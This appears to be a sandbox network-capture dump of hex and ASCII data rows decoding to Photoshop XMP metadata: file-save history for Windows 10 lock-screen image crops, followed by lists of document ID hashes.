42 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 30 34 37 31 33 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 Data Ascii: MS\Windows10\MomentsInTime\NBA\May\Chosen\Crops\MIT-NBA_GettyImages-120471322_1920x1080.psd saved 2017-05-11T15:04:11-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NBA\May\Chosen\Crops\MIT-NBA_GettyImages-120471322_1920x1080.jpg saved&#x
2022-07-20 07:08:24 UTC	1084	IN	Data Raw: 37 37 31 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 30 31 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 32 31 34 39 37 34 33 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 30 32 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c Data Ascii: 771_1920x1080.psd saved 2017-05-18T10:01:08-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MusicFestival\Chosen\Crops\MIT-MusicFestival_GettyImages-521497432_1920x1080.jpg saved 2017-05-18T10:02:42-07:00 File C:\Users\v-lizagh\MS\
2022-07-20 07:08:24 UTC	1115	IN	Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 31 54 31 32 3a 35 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 31 54 31 32 3a 35 38 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5c 43 68 6f Data Ascii: e C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-11T12:57:34-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-07-11T12:58:56-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BackToSchool\Cho
2022-07-20 07:08:24 UTC	1171	IN	Data Raw: 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 35 3a 33 33 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 Data Ascii: :\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-31T15:33:44-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb s
2022-07-20 07:08:24 UTC	1203	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 35 3a 31 39 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 35 3a 32 39 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 Data Ascii: 07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-08-28T15:19:36-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-08-28T15:29:12-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Ph
2022-07-20 07:08:24 UTC	1251	IN	Data Raw: 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 31 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 33 36 35 2d 47 65 6e 65 72 69 63 53 70 6f Data Ascii: pData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-09-28T15:01:05-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Chosen\Crops\Office365-GenericSpo
2022-07-20 07:08:24 UTC	1283	IN	Data Raw: 6f 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 36 30 37 38 36 37 32 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 30 37 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 37 38 33 38 30 33 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: on\Crops\Office-Reacquisition_shutterstock_360786725_1920x1080.psd saved 2017-11-15T16:07:11-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Reacquisition\Crops\Office-Reacquisition_shutterstock_377838031_1920x1080.jpg save
2022-07-20 07:08:24 UTC	1338	IN	Data Raw: 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 34 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d Data Ascii: IT-WinterEntDec_GettyImages-619356484_1920x10802.psd saved 2017-12-04T11:34:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x1080.psd saved 2017-12-
2022-07-20 07:08:24 UTC	1370	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 44 65 63 32 30 31 37 2d 50 6f 73 74 53 65 61 73 6f 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 2d 50 6f 73 74 53 65 61 73 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 37 34 30 35 34 36 38 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 34 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 44 65 63 32 30 31 37 2d 50 6f 73 74 53 65 61 73 6f 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 2d 50 6f 73 Data Ascii: MS\Windows10\MomentsInTime\NFL\Dec2017-PostSeason\CHOSEN\Crops\MIT-NFL-PostSeason_GettyImages-547405468_1920x1080.psd saved 2017-12-20T23:34:10-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NFL\Dec2017-PostSeason\CHOSEN\Crops\MIT-NFL-Pos
2022-07-20 07:08:24 UTC	1410	IN	Data Raw: 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 35 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f Data Ascii: sInTime\WinterOlympics\_CHOSEN\Crops\MIT-WinterOlympics_GettyImages-161928393_1920x1080.jpg saved 2018-01-31T13:35:52-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_
2022-07-20 07:08:24 UTC	1473	IN	Data Raw: 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 37 3a 34 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 38 3a 30 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 Data Ascii: shutterstock_536402545_1920x1080.jpg saved 2018-02-15T15:17:43-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_536402545_1920x1080.jpg saved 2018-02-15T15:18:04-08:00 F
2022-07-20 07:08:24 UTC	1577	IN	Data Raw: 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 35 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 37 30 30 38 32 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 37 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 Data Ascii: x1080.jpg saved 2018-03-21T15:45:35-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mixer_GettyImages-503700828_1920x1080.jpg saved 2018-03-21T15:47:45-07:00 File C:\Users\v-lizagh\MS\Windows10
2022-07-20 07:08:24 UTC	1657	IN	Data Raw: 37 43 38 33 34 39 46 41 38 30 37 42 33 41 41 37 41 31 45 38 34 43 31 31 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 46 38 42 32 36 37 43 43 39 43 38 35 32 38 35 42 44 37 37 30 46 35 42 30 30 43 45 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 46 43 45 36 34 41 38 32 42 34 46 44 38 32 34 32 44 38 31 31 35 35 36 44 33 37 36 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 41 34 33 36 41 43 33 38 43 30 45 34 33 33 36 30 41 31 39 41 37 44 42 34 37 43 43 38 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 42 36 33 32 44 41 38 38 45 39 39 45 33 35 34 30 35 36 42 42 31 37 36 30 35 45 35 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 42 36 41 42 39 31 43 44 45 Data Ascii: 7C8349FA807B3AA7A1E84C11A0</rdf:li> <rdf:li>089F8B267CC9C85285BD770F5B00CE36</rdf:li> <rdf:li>089FCE64A82B4FD8242D811556D3764B</rdf:li> <rdf:li>08A436AC38C0E43360A19A7DB47CC87F</rdf:li> <rdf:li>08B632DA88E99E354056BB17605E5C3A</rdf:li> <rdf:li>08B6AB91CDE
2022-07-20 07:08:24 UTC	1712	IN	Data Raw: 45 33 33 42 35 44 38 34 35 42 45 35 46 38 39 31 41 44 34 46 31 31 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 34 37 45 30 46 34 39 31 34 36 35 42 46 36 39 36 31 44 39 33 33 38 45 43 37 35 44 30 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 34 46 41 38 45 42 37 31 45 32 37 39 35 30 44 45 35 39 42 31 30 31 32 35 41 36 37 34 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 36 43 46 30 38 35 43 43 46 43 38 34 44 32 42 31 36 31 36 44 44 39 43 42 44 30 45 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 36 44 45 44 35 30 33 42 42 30 31 32 38 43 38 30 30 44 35 39 43 39 39 38 39 41 32 30 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 37 37 31 32 33 41 46 31 32 42 41 Data Ascii: E33B5D845BE5F891AD4F115C</rdf:li> <rdf:li>0E47E0F491465BF6961D9338EC75D030</rdf:li> <rdf:li>0E4FA8EB71E27950DE59B10125A67421</rdf:li> <rdf:li>0E6CF085CCFC84D2B1616DD9CBD0E746</rdf:li> <rdf:li>0E6DED503BB0128C800D59C9989A2044</rdf:li> <rdf:li>0E77123AF12BA
2022-07-20 07:08:24 UTC	1791	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 38 41 46 39 34 38 33 45 30 41 31 36 38 33 45 31 42 34 34 43 35 35 39 37 45 44 38 45 46 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 42 31 32 46 34 34 37 41 43 36 34 39 44 44 30 42 37 33 46 42 32 46 41 32 35 45 42 41 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 43 31 42 43 45 44 37 36 35 31 30 31 44 41 31 43 31 30 38 31 46 38 35 35 30 44 37 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 43 44 34 36 37 43 44 39 44 39 35 46 39 30 31 42 38 46 35 37 46 31 30 32 33 41 38 43 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 45 32 38 37 42 37 46 35 31 34 39 35 41 43 31 36 41 46 34 45 39 30 31 37 36 37 45 38 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>18AF9483E0A1683E1B44C5597ED8EF28</rdf:li> <rdf:li>18B12F447AC649DD0B73FB2FA25EBAD9</rdf:li> <rdf:li>18C1BCED765101DA1C1081F8550D7808</rdf:li> <rdf:li>18CD467CD9D95F901B8F57F1023A8CA5</rdf:li> <rdf:li>18E287B7F51495AC16AF4E901767E8B4</rdf:li> <rdf:
2022-07-20 07:08:24 UTC	1855	IN	Data Raw: 6c 69 3e 32 34 46 43 43 33 45 32 33 44 35 30 33 34 35 43 46 36 31 30 36 34 32 41 42 43 36 31 43 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 31 32 44 44 45 38 33 44 35 42 42 35 41 41 46 30 31 33 42 43 43 43 37 34 38 37 42 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 32 32 45 31 34 46 43 44 30 45 36 39 46 43 44 32 34 34 38 41 41 39 34 36 30 43 31 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 43 35 30 31 41 46 32 32 33 45 31 30 33 34 32 39 45 38 46 41 31 46 44 37 41 34 33 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 32 33 41 42 41 44 43 33 42 30 42 37 35 42 34 36 33 35 37 45 42 32 31 43 33 36 41 44 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 Data Ascii: li>24FCC3E23D50345CF610642ABC61CFEE</rdf:li> <rdf:li>25112DDE83D5BB5AAF013BCCC7487B02</rdf:li> <rdf:li>25122E14FCD0E69FCD2448AA9460C15F</rdf:li> <rdf:li>251C501AF223E103429E8FA1FD7A4306</rdf:li> <rdf:li>2523ABADC3B0B75B46357EB21C36ADB4</rdf:li> <rdf:li>25
2022-07-20 07:08:24 UTC	1903	IN	Data Raw: 3e 32 41 31 37 38 45 30 31 35 32 46 34 41 46 32 36 46 32 43 37 44 35 41 30 34 32 44 35 34 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 31 44 43 43 30 34 33 39 30 36 34 34 35 36 30 32 33 37 35 32 39 38 33 36 30 39 38 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 32 31 36 39 36 42 36 35 37 43 46 32 45 43 44 45 39 41 35 37 46 38 42 30 39 42 43 31 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 32 44 44 34 33 36 36 39 45 34 35 43 32 42 44 36 45 46 43 34 46 44 33 38 34 35 39 33 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 33 31 33 35 30 36 35 36 41 37 32 35 45 39 31 44 46 38 46 45 32 35 32 36 38 38 35 45 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 33 32 Data Ascii: >2A178E0152F4AF26F2C7D5A042D54900</rdf:li> <rdf:li>2A1DCC0439064456023752983609824D</rdf:li> <rdf:li>2A21696B657CF2ECDE9A57F8B09BC1A9</rdf:li> <rdf:li>2A2DD43669E45C2BD6EFC4FD38459303</rdf:li> <rdf:li>2A31350656A725E91DF8FE2526885EA4</rdf:li> <rdf:li>2A32
2022-07-20 07:08:24 UTC	1982	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 37 34 44 41 31 44 31 31 46 41 37 33 41 33 44 37 31 35 36 46 43 42 37 43 46 43 31 33 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 37 37 46 34 32 35 39 38 35 36 35 34 36 37 30 42 42 31 46 34 43 41 32 42 45 41 32 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 38 41 45 36 32 46 32 42 38 42 30 45 44 35 46 41 41 34 45 36 46 41 44 36 44 37 43 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 41 44 39 34 36 33 34 41 33 45 44 36 38 38 30 44 45 37 43 33 32 32 46 31 41 37 39 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 39 46 37 41 41 31 35 46 34 37 35 46 36 31 37 30 30 37 45 31 33 45 39 36 39 34 41 32 44 42 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3474DA1D11FA73A3D7156FCB7CFC1370</rdf:li> <rdf:li>34877F425985654670BB1F4CA2BEA27B</rdf:li> <rdf:li>3488AE62F2B8B0ED5FAA4E6FAD6D7C19</rdf:li> <rdf:li>348AD94634A3ED6880DE7C322F1A79F9</rdf:li> <rdf:li>349F7AA15F475F617007E13E9694A2DB</rdf:
2022-07-20 07:08:24 UTC	2038	IN	Data Raw: 32 41 30 32 33 46 36 36 42 42 39 30 37 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 32 46 36 31 44 32 35 31 38 43 43 46 37 38 33 41 37 33 38 34 34 33 34 45 35 34 31 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 33 30 37 32 37 31 34 37 36 38 45 44 42 43 30 43 39 31 39 39 45 43 39 31 37 31 43 44 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 33 33 41 30 46 31 33 31 30 46 39 36 41 45 39 41 44 38 44 42 32 35 30 43 46 38 34 39 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 34 38 46 34 35 31 38 38 32 39 39 39 36 45 45 45 44 41 38 31 41 36 46 41 42 38 46 46 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 35 43 34 39 39 45 46 36 45 36 35 37 30 46 41 44 37 45 42 Data Ascii: 2A023F66BB907A0</rdf:li> <rdf:li>402F61D2518CCF783A7384434E541F67</rdf:li> <rdf:li>403072714768EDBC0C9199EC9171CD23</rdf:li> <rdf:li>4033A0F1310F96AE9AD8DB250CF849D8</rdf:li> <rdf:li>4048F4518829996EEEDA81A6FAB8FF88</rdf:li> <rdf:li>4055C499EF6E6570FAD7EB
2022-07-20 07:08:24 UTC	2086	IN	Data Raw: 31 31 45 30 39 41 44 30 33 43 41 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 45 42 36 37 37 46 35 33 34 32 46 41 36 38 43 39 31 33 30 37 45 37 46 37 37 44 45 43 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 30 31 30 44 37 34 46 43 39 32 37 45 46 41 39 36 35 44 33 41 41 41 41 41 45 38 36 44 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 43 31 38 43 31 37 44 44 35 36 39 36 43 32 42 32 33 36 41 41 41 39 38 41 32 37 39 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 32 35 31 30 46 33 31 37 42 41 37 36 38 43 43 30 44 36 32 38 33 36 30 36 39 33 46 37 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 43 42 37 46 41 44 35 33 34 38 37 32 42 43 37 32 36 38 31 30 32 Data Ascii: 11E09AD03CAC2</rdf:li> <rdf:li>45EB677F5342FA68C91307E7F77DECF9</rdf:li> <rdf:li>46010D74FC927EFA965D3AAAAAE86D3A</rdf:li> <rdf:li>461C18C17DD5696C2B236AAA98A2795A</rdf:li> <rdf:li>462510F317BA768CC0D628360693F774</rdf:li> <rdf:li>463CB7FAD534872BC7268102
